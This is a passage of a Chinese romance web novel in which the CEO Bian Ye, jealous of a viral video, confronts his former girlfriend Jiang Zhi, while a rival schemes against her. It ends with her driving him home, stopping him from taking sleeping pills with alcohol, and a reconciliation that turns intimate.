周然感受到那股冰冷的威压,硬着头皮道:“是智启别的员工。姜小姐今天不在盐城。” 边野眉头微拧,“你怎么知道?” 周然想了想还是走了回去,摸出手机翻到之前刷到的那个视频,然后乖乖递过去,“这里看到的,她在临姚听讲座。” 边野看向手机屏幕,正在播放个视频。 讲座场地里,姜栀正一脸温柔地坐在那,身旁是数年不见的白司裴,他倾过去几分,在她耳边悄悄讲着什么。 而她,眼底和嘴角都有不同程度的笑意。 相配的似一幅画,旁边那些嘉宾都被衬得失色。 镜头轻微晃动,传出颇为激动的话外音:“谁懂来听个讲座看到这么绝的优质帅哥美女,般配到想尖叫!” 这个视频已经有十几万赞。 有些热度。 有那么一瞬,边野觉得自己像是又被拉回那个霞光满天的傍晚,他像个傻.逼.似的从医院一路狂奔到学校,只为了见她一面。 最后见到了。 眼睁睁看着她落在别的男生怀里,不抗拒他的拥抱,也不抗拒他的吻,甚至为了白司裴要以身挡住他险些落下去的拳头。 他又想起任恔妤给他打的那通电话。 电话里,他听见她温吞的说不喜欢白司裴。 不是不喜欢吗,那为什么可以接受那个吻。 是为了甩开他,所以宁愿做到这种程度吗。 边野定定地望着那个视频,十几秒的播放速度,已经来回播放第五遍了。 周然看着他,很平静的脸色,没有一丝异样的情绪,可她似乎感受到一股若有似无的悲凉,很微妙,再去感应,好像又没了。 “边总……” 办公室太安静了,她站在这儿升起几分局促。 边野眼皮微动,把手机还给了她。 什么都没说。 周然出去后,门关上。 这里只剩下他一个人。 边野靠在椅子上,闭上死水般的双眼。 脑子里仿佛倾泻了一地玻璃碎片,每一片都印着姜栀那张柔软的眉眼。然后强行带着他回到高中时代。 他像个局外人看着曾经的自己一厢情愿地追逐在她身后,为了不让她发现自己的心意从而躲避他,用了无数别扭的理由遮掩,口是心非地拉开距离。 那样热烈到燎原的情谊里,他控制不住想去亲近她都被她隔开,一遍遍告诉他,她只是完成黎女士的遗愿。 第一次喜欢一个人喜欢到如此艰难,可年少时的他甘之如饴。 就连后来真的拥有她,他也在疯狂克制自己,不要给她不好的爱恋体验。 她像个绝世珍宝,让他捧在手心里都怕碎了。 时隔多年,边野再一次清晰地感受到当年看见他们接吻带来的剜心痛意。 不亚于对他抽骨剥皮。 他很想问问她,如果不喜欢白司裴,为什么愿意接吻。 如果喜欢,为什么不干脆在一起,决断他所有念想。 喉咙里漫上来铁锈味的血腥气。 边野原本平静的呼吸加重,手指紧紧攥起,骨节用力到发白,掌心那层皮肤几乎要被掐破。 她玩弄自己也不是一次了,怎么这次就受不了了。 这世上千千万万的女孩,她又有什么不一样的,凭什么值得他去喜欢、去惦念。 可哪怕白天说服了自己一千次一万次,他还是在夜幕降临的时候开去了她所住的小区,在楼下一等就是几小时。 连他自己都唾弃自己。 姜栀从临姚回来的时候,压根没想过会在自家楼下碰见边野,南辕北辙的两个居住地。以至于看见时愣了一下。 “边总……您怎么在这,现在已经快十二点了,您不回去休息吗?” 她声音温柔,眼底透着关切。 和那个视频里的模样没什么不同。 边野心底的讥诮不受控制地冒出来,“这块地写你署名了?” 她没想到他一开口就这么冲,愣了下才猜测是不是上次认为她偷听电话,所以仍旧不爽。 “没。” 姜栀怕惹他更不爽,尽可能地不去提别的,“那……我先上去了边总。” 她轻垂着眼睫,从他身前走过。 忽然。 一股蛮横且令人反抗不得的重力突如其来,她手腕被紧紧攥住,整个人被大力往回一拉,摔在了墙上。 不,准确来说,是摔在他压在墙面的手上。 不痛,但太突然,她被吓了一跳。 男人身形高挺,握着她腕骨不松手。他背对着走廊灯,把她面前的光线挡住,留下一片阴影。 他距她很近。 姜栀能听到他微沉的气息。 “边总?”她还没搞清楚情况,挣了下腕骨,可没挣脱。 边野死死克制着心底四窜的怒意,明明看见她之前还算平静,可如今血液都在沸腾,“不是不喜欢他吗,为什么要跟他去情侣餐厅吃饭?” “什么……?” 姜栀一脸茫然,一时间没懂他在问什么。 “吃得开心吗?”他眼底幽沉一片,海浪在深处翻涌。脸色很黑,像要吞人的猛兽,可吃人之前,还是要听她的解释。 姜栀迟钝了几秒,终于反应过来他指的是什么。 可她眉头很快蹙起,“你监视我?” 边野将她眼底的怀疑与不可思议尽数收拢,那股刺人的讥诮从鼻腔里出来,他从来不是什么好脾气的人,就当他今晚是在发疯吧。 “你有什么资本轮得我去监视?别太高看自己。” 不光是讲座里被拍,连吃饭都被拍。 这张脸,确实足够引人。 姜栀眼睫轻颤了下,移开视线,努力去忽略胸口的闷堵,“只是吃饭,我不知道那是情侣餐厅。” 如果知道,她连门都不会进去。 “是吗。” 边野冷嗤出声,脸色又沉了几分,“以前不喜欢就可以接吻,现在重逢就去情侣餐厅,下一步是不是要进展到床上?” 他眼眸漆黑,透着十足的压迫感和侵略性的冷意。 姜栀皱眉,不由抬眸。 她迎着他锋锐带刺的视线,本该因这话生气,可心脏突地痛了下。她很想问,你就是这么想我的吗,可唇瓣开合几分,却什么都问不出来。 像是吞了哑药。 她何必怪他,给他造成这样误解的人不正是她自己吗? 那个时候他也是这样愤怒,眼底是恨不得捅死白司裴的滔天怒意,可只是因为她挡在前面,所以偃旗息鼓,收敛了一身尖锐的刺,带着绝望离开。 只要一想到那个场景,胸口就如锥针扎下去。 血淋淋的。 见她不回应不反驳,甚至连与他眼神对峙的勇气都没有,边野讥笑出声,笑她更笑自己。 自取其辱。 “姜栀,你真是好样的。” 他声音低沉微哑,几乎从齿缝中出来。他垂眸看着被自己攥在掌心里的一节皓腕,白皙柔嫩,可他恨不得捏碎。 呼吸间,边野松开她。 转身朝外走。 “对不起……”她望着远去的背影,眼底有潮湿漫上来。 很轻的声音,但边野听见了。 可他没有停下。 连迟疑都没有。 漆黑的夜空下,他自嘲又麻木地往前走,墨色衣裤几乎要融进去。 凌晨的夜景看过无数次,只是这一次难看些罢了。 第55章 第 55 章(小修) 纸醉金迷的会所里, 贺为京放浪形骸地搂着几个曲线性感的女人,一边玩行酒令一边快活,几乎与活春.宫没什么区别。 这群陪同的公子哥们早就习惯了, 毫不见外。 其中有个衷心的小跟班忽然叫了他一声, “三哥!” “有屁快放。” 贺为京还沉溺在温柔乡里, 被突然打搅有点不爽。 小跟班赶紧过来, 挤开一旁的女人, 把手机递过去, “三哥, 这是不是你上次贼喜欢的那个妞,卧槽,真他么漂亮啊,都在网上小火一把了。” 贺为京觑了一眼,原本还有些迷离的眸光在看见视频里的姜栀时瞬间清澈不少。他从陪酒女身上收了手,拿过手机仔细观摩。 这身白色休闲服比上次来见他时穿的随意, 但却把人衬得清纯至极。 瞧瞧这雪白的手腕, 就应该被他用铁链狠狠锁起来,这柔软的身段如果蹂躏起来,肯定爽极了。 简直仙品。 他眼睛眯起,小腹一阵燥热。 像有无数只蚂蚁在爬。 操。 怎么偏偏跟边野有关系。 他虽然喜欢这挂,但还没蠢到在边野眼皮子底下抢人。 上次那笔账可以慢慢算,但人暂时还不能碰。 越想越憋屈,贺为京眼底的痴迷褪去,把手机往旁边一丢, “以后别拿来给我看。” 马屁拍到马腿上, 小跟班有些尴尬,“三哥前段时间不还说势必要得到这妞吗?这姿色别说在这小小盐城, 就算是在B市也少见,就这么放过岂不是太可惜了?” 那晚的事太过屈辱,贺为京谁也没说,圈子里的人自然一个都不知道。 他也不想放过这种极品,但现在可没资本跟边野斗。 “你以为老子不想?”贺为京脸色难看,“跟边家有关系的人你敢动?” 小跟班顿时惊住,说不出话来。 “滚,别烦老子。” 贺为京胸口一抹浊气憋着,抓过旁边的陪酒女就压在了沙发上宣泄,心里恼火得厉害。 宣泄到一半,又有人喊他,“三哥!” 贺为京被扰了兴致,怒意上头,“你他妈最好真有事!” 那公子哥被他这态度吓了一跳,但贺为京出了名的阴晴不定,他也没多想,赶紧把门外的女人带进来。 “三哥,这人找你。” 贺为京不爽抬眼,是个三十多岁的老女人,低领衬衫和包臀裙倒是将身材突出的刚好,尽管保养得也不错,但他对这挂完全不感兴趣,更别说看着就一脸精明相。 “带走,老子不喜欢。” 什么人都往他跟前推,他又不是种马。 公子哥刚要解释,身边带进来的女人已经落落大方的介绍起自己,“贺三少,久仰大名,我是苏明歆,边总的秘书。” 贺为京原本不爽的情绪瞬间散去大半,有些新奇地看向她,上下打量一番,表情玩味,“宿城的那个边家?” 苏明歆毫不惧他的眼神,勾起红唇,“还有哪个边家能够格站在这里见您?” 贺为京轻蔑挑眉,“有事就说,我时间宝贵,没工夫陪你耗。” 说完就继续去看陪酒女,完全没把她放在眼里。 苏明歆也不介意,笑道:“借一步说话,我保准三少会愿意听我接下来说的话。” 贺为京调戏陪酒女的动作一顿,挑眉看她。 “行啊,要是不能让我感兴趣,你今天可走不出这里。” 她毫不紧张,“您随意。” 内室门一关,顿时隔绝了外面的嘈杂与热闹。 贺为京姿态不羁地靠在沙发上,跷着个二郎腿,“边家的人找上我,真是稀奇。” 贺家在B市扎根,边家则是宿城龙头的存在,两家进军的行业不同,奉行互不干扰原则,即便要打交道也轮不到他这个纨绔子弟。 苏明歆拿出一张照片放在桌上。 “三少最近应该很为此苦恼吧?” 贺为京漫不经心地扫了眼,目光忽的定住。 是姜栀,他念了很久的女人。 准确的说,是高中时代的姜栀。 穿着校服,柔顺乌黑的秀发扎成马尾,相比较现在的模样,那会儿更加清纯稚嫩,皮肤细腻得像刚剥开的鸡蛋,圆润的杏眼里嵌着琥珀色的瞳孔,在阳光底下像宝石般闪着清透的光泽。 短裙底下,一双腿纤长笔直,肌肤雪白。 他目光晦暗下来,视线扫过她纤细的脚踝,近乎痴迷地想象着攥住的感觉。 苏明歆沉浮职场这么多年,察言观色的本领是手到擒来。 她语调不疾不徐,“我这趟就是为助三少美梦成真而来。”- 那晚之后,姜栀的生活仿佛又回归了平静。 和边野也成了两条平行线,再没有相交过。 那些短暂的接触如同一场大梦,梦醒后半点痕迹都没了,她照常上下班。 月底最后一天恰好是周五,姜栀收拾了东西正准备下班时,老板突然出来,响亮地拍了拍手掌,“今天大家都别走,晚上一起聚个餐,这段时间大家都辛苦了!” “聚餐的钱我出!” 老板这话一出,同事们都很兴奋,不少人跟着叫好。 姜栀原本想回去窝着,这会儿也走不掉了。 顺从老板的安排,她到的时候才发现这餐厅的装潢还挺高雅,跟以前他们聚餐经常去的苍蝇馆完全不是一个水准的。 不光是她,其余同事也不由惊讶。 “老板今天怎么这么大方,这家吃下来可得大几千。” “肯定是跟芯耀的合作达成赚爽了,给我们这些小鱼小虾撒点米。” “……” 姜栀跟在同事们后面,听她们窃窃私语,有些出神。 没意识到他们突然停下,差点撞上人家后背。 “那谁啊,好帅!宽肩窄腰,手臂线条也太扎实了吧,都能看见青筋,帅得我流鼻血,比电视上那些男明星硬汉多了!” “卧槽,还跟咱们老板认识?不会今晚跟我们一起吃饭吧?” 姜栀透过缝隙看热闹般瞧了眼,视线忽的顿住,四周仿佛有一道无形的屏障将那些议论声全部隔绝。 像古老的唱片机,在某个节点卡宕,一瞬间消音。 近一个月没见到的人,就这么突然的、毫无准备的出现在她视野里。 那片伪装的平静不知从哪里出现了裂痕,四面八方地扩散开去。 她握着挎包的手轻轻收紧。 他们之间隔着十几个人,姜栀走在后面,并不落在他视线范围内,他也确实不曾看过来。 明明没什么可局促的,可她心里漫着说不上来的滋味。 或许是那个糟糕透顶的晚上,他留给她的背影太过孤寂,孤寂到即便她那时候追上去,也不知道从哪里去抚慰。 但也只有隔着这么多人,她才敢借着这么多视线明目张胆地看他。 老板很客气地把人请进去。 同事们跟在后面鱼贯而入。 包厢里灯光炽亮,将一切都照得清清楚楚。 等她进去时,已经没有座位供她挑选了。 “姜小姐!” 有道轻灵的声音响起,姜栀循声看去,是边野的秘书。 “快来这儿坐。”周然拍拍身边空着的椅子,朝她笑得亲切可爱。 这座位很碰巧的,与边野面对面。 她匆匆扫了他一眼。 男人慵懒随意地靠着椅子,眉眼间都是漫不经心,像从前她去金霆找他时那样,只是如今多了份成熟。 这余下的唯一位置,姜栀想婉拒都没有机会。 “坐啊小姜,今天虽然请了芯耀的边总,但还是聚餐形式,你就跟平常一样,不用紧张!” 老板性子爽朗,这么招呼着,不少目光都落在她身上。 但边野始终不曾抬眼。 姜栀耳根红了下,没再推脱。 人坐齐了,老板开始说些恭维边野的客套话,说完又开始敬酒。她低垂着眼睫,不时能听到他磁沉的声音。 周然是个小年轻,吃饭是日常生活里最开心的事。 刚能动筷就开始夹菜,顺便还给她也夹了点,“这个鲍鱼一看就很新鲜,你尝尝。” 姜栀礼貌道谢,安安静静地吃她夹过来的菜。 和周边热闹的氛围仿佛不在一个层次。 周然吃了好几口才有空跟她聊,“对了,我只知道你姓姜,还不知道你叫什么呢。” “姜栀,栀子花的栀。” 她声音温软,像沁人心脾的花香。 “好听!”她热情地笑着报自己名字,“我叫周然,那么现在我们就算好朋友咯?” 很直率的性子,姜栀倒是喜欢,“嗯。” 周然很羡慕地凑近,“你在公司上班一定很开心吧,皮肤这么好,法令纹都没有。你们老板也是,看着就很亲切。” “还好。”她在哪里都能适应。 “哎——” 周然趁着剥虾的间隙瞥了眼模样懒散的边野,又忍不住叹了口气。 “我就不一样了,别看我老板帅得人憎狗嫌,上相亲榜都能排第一的人,但在他手下工作,我感觉我都要短命了,天天板着个脸,还要我一个牛马去猜他的心思,我又不是猜猜乐。” 姜栀被她奇怪的形容逗笑,“一直都这样吗?” “嗯。”她把虾塞嘴里,转眼又否决,“也不完全,以前虽然冷淡,但不至于像这个月,一直阴晴不定,比以前几年加在一起都恐怖。” “我上个班跟上朝似的,天天提心吊胆。” 这个月…… 姜栀下意识掀起眼皮,在一片热闹中很轻微地看他。许是刚被敬酒,他正仰头喝酒。眼睑下方的青黑似乎是比上次见的重了点。 是失眠又加重了吗。 她心底漫上几分涩意,却没敢多看报。 姜栀眼睫垂下的刹那,边野的目光随着放杯子的动作落下,像蜻蜓点水一般,很轻地扫过她黯然的脸,随即不动声色地收回。 这么难熬还要待在这,真是难为她。 他眸色沉下来,捏着杯子的手不自觉收紧。 “姜栀……” 周然很小声叫她,她偏眸。 “那个……有个问题我憋了很久了,能问吗?”周然一脸好奇的盯着她,眼神亮晶晶的,几乎要脱口而出,但因为等待她的首肯而硬生生憋着。 姜栀有种错觉,要不让她问,她这一晚上都会难受。 “嗯,你问。” 她微微莞尔。 周然有点不好意思,但好奇已经使她顾不了那么多了,她眼巴巴望着姜栀,“你和我们老板以前是不是在一起过?” 姜栀脸上的笑突然僵了下。 “是不?”她紧追着又问了遍。 姜栀被她看得不自然,只好点了点头。 “果然被我猜中了,我就知道!”由于太激动,周然的声音突然拔高,一瞬间引来许多目光。 她赶紧捂住嘴,歉意一笑。 “没想到我们老板这种龟毛又心针似海的男人,竟然真的有人可以忍受得了他。”周然不由感慨。 姜栀下意识替他正名,“他其实……是个很好的人。” 最开始要凶巴巴地赶她走,却并没有真的做出什么伤害到她的事。 把她从歹徒手里救下来的人是他,将她从囚笼里解困出来的也是他。 在她不知道的时候试图替她挡住班主任不分青红皂白的怒意,用自己的方式抵住风雨,让她能在阳光下安然前行。 他还给过她太多美好的回忆。 为她精心准备漂亮的礼服,只为了让她在十八岁成人那天闪闪发光。 不辞辛苦地为她修复旧表,哪怕已经被她用伤人的话刺痛无数次,却还是固执地喜欢她。 那样高傲的少年会低下声来温柔哄她,也会不惜性命地去保护她。 他一直都很好。 不论是从前还是现在,不论她有没有伤害过他,他都始终如一。 见她神色黯淡,灵魂像是被抽离,周然轻声问:“你怎么了?” 姜栀眼睫颤动了下,回过神来,嘴角弯起弧度,却平添苦涩,“没事。” 周然夹了块螃蟹,低低叹息,“说起来,那天他看到你在临姚听讲座的视频,似乎很悲伤,就像笼罩的大雾,散不开。” “自从我跟在老板身边以来,还是第一次在他身上看到这样的情绪。” 铁打的人,好像也有了脆弱的软肋。 临姚的讲座? 姜栀忽然想起同事们曾经打趣她的话,大意就是她与白司裴多么郎才女貌、天造地设…… 心口有什么倏地坠了下,她握着筷子的手一点点泛紧。 那个夜色浓重的晚上再一次清晰地浮在眼前。 耳边是他抵着牙关的质问—— [不是不喜欢他吗,为什么要跟他去情侣餐厅吃饭?] [以前不喜欢就可以接吻,现在重逢就去情侣餐厅,下一步是不是要进展到床上?] 那双幽沉的眼盛满了情绪,却还在压抑。 她觉得自己蠢透了。 南辕北辙的两个居住地,他在楼下等了不知多久,只为了问她这些话。 可她那时满心满眼都是愧意,是高中时借着白司裴把人推开的愧意,太过汹涌,以至于没有意识到他的来意。 他要的,不过是当下的回答。 她呢,她做了什么。 一言不发地面对他。 不合时宜的沉默像尖锐的刺刀,将人扎得千疮百孔,鲜血淋漓。 到这个时候,姜栀才意识到自己在无形中再一次伤害到了边野。 痛苦、悔恨和苦涩交织在一起。 她呼吸逐渐不畅,五脏六腑仿佛都拧在一起,要将她整个人都碾碎了。 “小姜——” 老板忽然喊她,姜栀握着筷子的手不自控地抖了下,她咽了咽嗓子,急速地压下那些快要涌胀出来的情绪。 “小姜,你做为咱们公司大功臣,也和边总喝一杯,感谢边总的合作之恩!”老板是个很豪爽很会来话的人,有他在的场子就没有不热闹的。 姜栀没法拒绝,她拿过一杯茶,深深吸了口气才起身看向对面座位上的男人。 这是今晚她头一次在所有人的注视里去看他,坦荡不避讳。 边野模样懒淡,缓缓掀起眼皮。 漆黑的瞳眸如同曜石,却没有丝毫温度,像在看个极为陌生的人。 那张棱角分明的脸在灯光下清晰地映在她眼底,平静而正常,和周围的人并没有什么不同。 可还是刺痛了姜栀的双眼。 “边总——” 她开口才发现喉咙里的艰涩,声线险些不稳,暗暗掐了掌心,感受到鲜明的痛,她才扯出一个笑,“我以茶代酒,敬您。” 姜栀仰头,将那杯凉茶一口饮尽。唯恐再慢点就会丢盔弃甲,分崩离析。 凉意划过喉咙,像咽下苦酒,她阖着的眼睫轻轻颤着,眼尾有不被人察觉的湿意。 边野却没动。 那双眼就这么看着她,像是要穿透她,要看看她到底是什么做的。 智启的老板见他就姜栀敬的不喝,想到林主管之前汇报的那些,更加肯定两人之间有情感纠纷。 要他说运气真是好,居然招到个姜栀这样的潜力股。 这个合作要没有她,还真未必能谈的下来。 边野不喝归不喝,但他不能让场子冷下来,赶忙打圆场。 有人捧哏,注意力一下就被转移了。 姜栀迟钝地坐下来,望着手里的杯子出神。 旁边的周然喝醉了,晕晕乎乎地靠在椅子上,嘴里还在嘀嘀咕咕打工人真是辛苦。 包厢里开着冷气,但她却觉得好闷好闷。 多待一刻都闷。 借口去洗手间,姜栀逃也似的出了包厢。 接触到新鲜空气的一瞬,那些压抑在胸口的潮湿终于不管不顾地全部涌了上来,杂乱无章地发泄。 她走到昏暗、没人看得见的角落里。 喉头哽得难受至极,一滴又一滴滚热的泪砸在地上。 愧疚与心疼将她牢牢笼罩,巨大的无力感在血液里流窜。 怪不得。 怪不得那天晚上他走得那样绝望。 她紧捏着掌心不让自己发出声音,纤长的眼睫毛早已被打湿的一绺一绺。 许久。 姜栀终于收拾好那些杂乱的情绪。 以一个成年人该有的模样重新回去。 进了包厢,她才发现同事们走得差不多了,剩下的三两个也在收拾着准备离开。 唯独边野安安静静趴在桌上。 老板看见她,赶紧把人叫过来,“小姜啊,边总喝得太多,就交给你了,务必把人安全送回家啊。” 说着捞起公文包就走。 姜栀愣了一下,又见老板退了两步到她身边,一脸委以重任的模样,拍了拍她肩膀,“好好照顾边总,你可是公司的福星。” 她一脸茫然地眨了眨眼,老板已经醉醺醺地走了。 宽敞的包厢里,转眼间就剩下她和边野两个人了。 他趴在桌上,有那么一瞬间像个孩子。 姜栀犹豫了片刻还是走了过去,“边总?” 趴在桌上的人没有回应也没有动静,像睡着了似的。 她伸手轻轻拍了拍他肩膀,“边总,我送您回去吧?” 原以为还是跟刚刚一样得不到回应,她正打算坐在边上等他稍微清醒点,就听到他低沉微哑的嗓音:“不用。” 拒绝得果断、冷淡。 姜栀眼睫轻动了下。 也不知道哪里来的倔强,“老板的任务,让我送你安全到家。” 边野没喝醉,他只是太累了。 那种从心底深处翻卷着上来的疲倦。 他缓缓抬头,炽亮的灯光下,眉目冷硬,瞳孔漆黑如墨,浓稠得像是要将人吞噬。 定定望了她一会儿,他忽然嗤了一声,眼底温度降至冰点。 从椅子上起来,边野太阳穴突突地疼,他越过她往前,像是没有看她一般,步子跨得很大。 姜栀站在原地一时没动,但见他在椅子边踉跄了一下时,及时跟上伸手去扶。 “小心。” 她叮嘱的声音刚落下,手就被挥开。 搀扶的姿势僵在半空中。 姜栀眼神黯淡一瞬,他厌恶她也是应该的。 沉默地收回手,她没再出声,安安静静跟在身后。 一旦看见他走得不稳就赶紧上前,伸手护在他旁边,并不干预他的行进轨迹。 边野的车停在路边车位里。 安全到车位边时,姜栀暗暗松了口气。 “边总,您的——” 她刚想问他要车钥匙替他开车门,他已经先她一步打开副驾的车门坐了上去。 他个高腿长,靠在副驾上似乎有些施展不开。 但只是蹙着眉,什么都没说。 姜栀还是再提了一次,“边总,您忘记给我车钥匙了。” 没有车钥匙她没法送他回去。 边野闭着眼靠在副驾上,浓密的长睫落下一层影子。身上透着明显的酒气,胸口呼吸起伏均匀,看起来就像是睡着了。 姜栀有点局促地站在边上。 见他没有要回自己的意思,也不确定他是不是真的睡过去了,又叫了一声,还是没有回应她。 “……那我帮您叫个代驾可以吗,让代驾送您回去。” 她试探性询问,依旧石沉大海。 不能真把人就这么扔在这里,姜栀想了想还是打开手机,准备给他叫个代驾。 他不想跟她接触也没关系。 填好地址正准备下单时,耳边忽然响起低沉的嗓音,透着戏谑和苍白:“你算我什么人?” 姜栀操作的手指顿了下,视线从屏幕上抬起。 不期然地对上那双漆黑的眼睛,她看见鲜明的讽刺。 呼吸滞涩了下,姜栀心底蔓延出一片荒芜。片刻,低低出声:“那您自己叫代驾也可以,我不打扰您。” 边野冷漠的视线在她脸上逡巡,一寸一寸,像要将她条分缕析个明白。 气氛沉默压抑。 几秒后,他又重新闭上了眼,眉头很不爽地沉压着。 姜栀没理解他的意思,但没反驳她这句话,应该就是准备自己叫了吧。 “那……我先回去了,您路上小心。” 她一直注视着他的脸,见他没说什么,默然转身离开。 “会开车?” 身后忽然传来一道嗓音,透着点不耐。 姜栀步子一顿,回头看他。 “会一点。” 昏黄的路灯光穿过车窗洒在半个主驾上,她听见很轻的一声,车钥匙被随意丢在上面。 姜栀愣了下,明白过来他是什么意思,立即走到主驾坐上。 她很少开车,只是有个驾照,偶尔开开公司里的车。 也还是第一次载他。 从前都是他来接她。 姜栀把车钥匙插.进.去,轻轻踩下油门从车位里开出去。侧方车位连着道路,她拐出去的时候后方正好来车,迅速踩住刹车。 踩得有些紧,人被惯性往前颠了下。 “这叫会开车?” 边野拧眉睨着她,眼底没有半分对她技术的认同。 她耳根有点烧,面露歉意,“刚刚没估算好距离,抱歉。” “可能会慢一点,但一定会给您安全送到家的。” 边野移开视线,没再看她。 闭着眼任由她发挥。 一路上还算平稳,安全到达目的地时,姜栀不由松了口气。 她这一次刹车踩得轻缓,并不颠。 回头看他时,他脑袋微微仰着,眉头也仍旧收拢着,许是车上睡得不舒服。 车里很安静,姜栀就这么默不作声地看着他。 他们之间几乎没有能像这样安宁又毫不带刺的时刻。 姜栀任由自己肆意的目光停留在他身上,像小偷一般贪恋着眼下的每一分每一秒。 他骨相很好,鼻梁高挺,下颌线清晰分明。 闭着眼安睡的时候,那股冷漠被削弱了几分,似乎也没有那么不可触及。 姜栀一瞬不错地看着,有什么在无声地牵引着她,一片宁静中,她鬼使神差地伸出手。 一点一点,缓慢地接近他的侧脸。 即将碰到时,边野忽然睁开了眼。 目光冷漠地盯着她,扫过那只即将探过来的手指,“你在干什么?” 姜栀这才回过神,眼皮子一烫,匆促地收回手。指尖压在身侧紧紧蜷着,眼睫因为紧张和尴尬眨动了好几下。 “想、想提醒你到家了。” 她有些不自然,耳尖也泛起粉色。 边野扫了眼,没说什么,径直下车。 等人已经走进大门她才意识到,赶紧拔了车钥匙跟上去。 和上次一样,姜栀不敢四处乱看,进了客厅就把车钥匙放在桌上。 “那个——”她刚开口,就见他往主卧走去。 原地犹豫了两秒,她还是跟了上去,但最后停在了门口没有进去,礼貌同他招呼,“边总,没什么事我就先回——” “水。” 他声音很淡,听起来没什么耐心。 姜栀愣了下,应了声后回到客厅,环视一圈,找到水壶后倒了杯水给他送进去。 卧房没有开灯,只点了地灯,泛着暖黄幽暗的光。 边野靠在床上,又一次闭上了眼。光线很暗,他半个身子仿佛都隐匿在黑暗里。 她放轻了步子,把水放在桌上后,低声道:“您早点休息,我先回去了。” 打完招呼,姜栀转身离去。 路过房门,她伸手握住门把,想替他合上,却看见他从抽屉里拿出一瓶药打开,往手心倒了几粒后伸手去拿水杯。 他这是…… 姜栀迟疑着,见他已经仰头准备放进嘴里,心底咯噔一声,在他吃下去之前冲过去打落。 白色药粒杂乱地掉在地上,发出七零八落的哒哒声。 紧绷的神经松懈了一分,姜栀有点着急又有点生气地看着他,“喝了那么多酒,怎么可以吃药?” “你疯了吗?!” 边野幽黑的瞳孔望着她,像是要望到她的灵魂深处。 他艰涩地扯了扯嘴角,嗓音低沉沙哑,“你还关心我的死活?” 姜栀眼睫轻颤了下。 是啊,不正是她把他害成这样的吗,他一定觉得她这个行为很可笑吧。 胸口闷得厉害,有些话在喉间滚动,最后仍旧淹没了下去。 他收回眼神,把水杯放回去后重新往床头一靠。 漫不经心的,随意的口吻:“不吃药怎么睡觉。” 他没有一天是不吃药能入睡的,仅靠着这些药,才勉强能睡上几个小时,撑过一天又一天。 他像一个颓唐又落魄的苦犬,在黑夜里找不到一个可以安放自己的地方。 却又想将自己变得像正常人那样,想去汲取一些温暖。触及到的时候,才发现所谓的温暖之下是更冰冷的深渊。 心口如锥针扎下来,一寸一寸地往血肉里扎去。 那种无力感再次蔓延进姜栀的血液,然后以排山倒海的架势朝她覆压下来,压得她几乎要窒息。 连对不起都不能说,说出来更像是对他的讽刺。 姜栀默不作声地蹲下去,把那些药一颗一颗地捡起来。 放在手心里很小,但却救了他无数个日夜。 她把药放在柜子上,抬眼才发现他眼尾湿濡。 有颗摇摇欲坠的泪。 姜栀呼吸间都是涩意,指尖缓缓向他伸过去。 纤细柔嫩的指骨,很轻很轻地拂去了那滴即将坠落的泪珠。 落在手上已经凉凉的,却将她的心烫得灼热。 边野眼睫微动,缓缓睁眼。 如墨的眼底透着讽刺:“可怜我?” 姜栀无力地收回手,“没。” 她只是觉得,从前那个肆意不羁的少年如今变成这样,她心里很不好受。 她不知道还来不来得及,可还是想要说。 说那天晚上他问的问题,说他想听到的话。 “边野——” 重逢以来,她第一次在这样的氛围里喊他的名字。 明明从前喊过无数次,可不知道为什么这一次这样苦涩。 他靠在床上,没有看她,垂在身侧的手却缓缓蜷起。 “我和白司裴,我没有喜欢他。” 她逼着自己一定要看着他,哪怕他并不想看见自己。 “从前没有,现在没有,以后也不会有。” 这些话平稳地落在卧室里,一字一句都清晰异常。 边野胸腔里原本规律跳动的心脏忽然悸动了下,浓稠的黑眸晦涩不堪。 迟到了一个月的回答。 这一个月来的沉压、冗积,令他任由自己往深渊里一步步走去,任由自己沉溺在无法呼吸的泥泞中,可这一刻,好像有一束光照下来,在想办法拉着他。 从前没有,现在没有,以后也不会有。 困住他许久的郁积好像突然被打散了,像飘絮一样散落在各处。 尘封俘压之下的情愫毫无章法地从八方汇聚过来,在血液里沸腾,拉扯着他爆发。 边野掀起眼睫。 黑沉的双眼紧盯着她,视线逐渐灼热、难以自控。 像是要烧毁周围的一切东西。 姜栀轻吸了口气,低垂着眉眼,喉间有些哽咽,“我不知道现在说来不来得及,是我太蠢——” 她话还没说完,腕上忽然多了骨力道,不由分说地将她拉到软被上。 他清冽、冷沉的气息一瞬间笼罩下来。 将她框在方寸之地。 “边野——唔——” 她轻软的疑惑声被彻底封住,这个吻汹涌猛烈,带着这么多年的压抑与不得,带着学生时代被冷硬推开的痛苦,还有两千多个日夜里疯涨且克制不住的思念。 他像囚困于笼中不得自由的猛兽,无数个见不得光的日子里,撕咬着自己的血肉。一朝得见光明,疯了一样抓紧,哪怕头破血流。 “唔……” 姜栀被他过于凶猛的攻势吓到,想要伸手去推他,却被他攥紧,牢牢压在头顶之上。男人气息浓重,要将她彻底拆入骨血一般。 他膝盖抵开她双腿,一手压着她双腕,一手像燎原的星火,去汲取她身上的温度。 衣摆被撩起,姜栀混沌的意识终于回笼,她扭身抗拒,气息喘.得厉害,“别……” 原以为他不会停,可她声音刚出,他动作就止住了。 但刚刚的吻太凶猛,他一时半会根本缓不过来。埋头在她颈间,胸口随着气息剧烈起伏。 他几乎压在了她身上。 姜栀明显感觉到一股很坚实的东西硌着她腿。 她是个成年人,只愣了片刻后就明白了是什么,耳根滚烫,红得滴血,浑身都在发热。 他喉结滚动,一次又一次地试图将腹内熊熊燃烧的火焰压下去。 但没用。 已经到了他控制不了的地步。 第56章 第 56 章 那股硌感越来越明显, 耳边气息略为急促地喷薄着,刮的她耳廓发痒。姜栀羞窘又不安地攥紧了软被。 心脏在胸腔里咚咚直跳,她眼眸水润, 只消看一眼, 就足以令人心旌荡漾。 “我、我姨妈还没走……” 她此刻半分不敢动, 任由他覆压着自己。声音奶猫儿似的从喉咙里出来, 白皙的面颊和耳根早已烧得滚烫。 不是拒绝。 边野喉结滚动, 气息越发无法平息, 眼尾因为刚刚过于急切的吻而泛起红意, 此刻一点点加深。 那股火带着悸动浩浩荡荡地烧过来。 他被淹没在里面。 “帮我。” 他声音低哑,瞳眸晦涩难当。 “怎、怎么帮……” 姜栀细声细气地问,眼睫轻颤,喉咙也不由发紧。 边野松开她的手,小臂撑着力道压在一边。 他深吸了口气,从她颈间抬起脑袋, 一双眼如曜石般摄着她眉眼, 眼底起伏着躁意。 她此刻面颊红润,绸缎般的头发压在脑后,碎发在耳边轻轻挂着。唇瓣粉嫩饱满,残留着被他深吻过后的莹润。 